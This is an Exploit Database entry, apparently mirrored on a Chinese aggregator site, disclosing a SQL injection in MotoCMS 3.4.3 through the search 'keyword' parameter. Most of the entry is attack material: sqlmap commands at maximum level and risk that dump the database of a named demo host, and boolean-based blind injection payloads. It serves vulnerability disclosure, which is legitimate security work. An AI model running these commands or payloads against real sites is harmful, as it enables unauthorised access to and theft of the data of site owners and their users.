MotoCMS Version 3.4.3 – SQL Injection

• Exploit Database
• 21 阅读

• 作者： tmrswrr
  日期： 2023-06-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51504/

• # Title: MotoCMS Version 3.4.3 - SQL Injection
  # Author: tmrswrr
  # Date: 01/06/2023
  # Vendor: https://www.motocms.com
  # Link: https://www.motocms.com/website-templates/demo/189526.html
  # Vulnerable Version(s): MotoCMS3.4.3
  
  
  ## Description
  MotoCMS Version 3.4.3 SQL Injection via the keyword parameter.
  
  ## Steps to Reproduce
  
  1) By visiting the url:
  https://template189526.motopreview.com/store/category/search/?keyword=1
  
  2) Run sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1" --random-agent --level 5 --risk 3 --batchand this command sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
  
  ### Parameter & Payloads ###
  
  Parameter: keyword (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: keyword=1%' AND 3602=3602 AND 'ZnYV%'='ZnYV
  
  Parameter: #1* (URI)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: https://template189526.motopreview.com:443/store/category/search/?keyword=1%' AND 6651=6651 AND 'BvJE%'='BvJE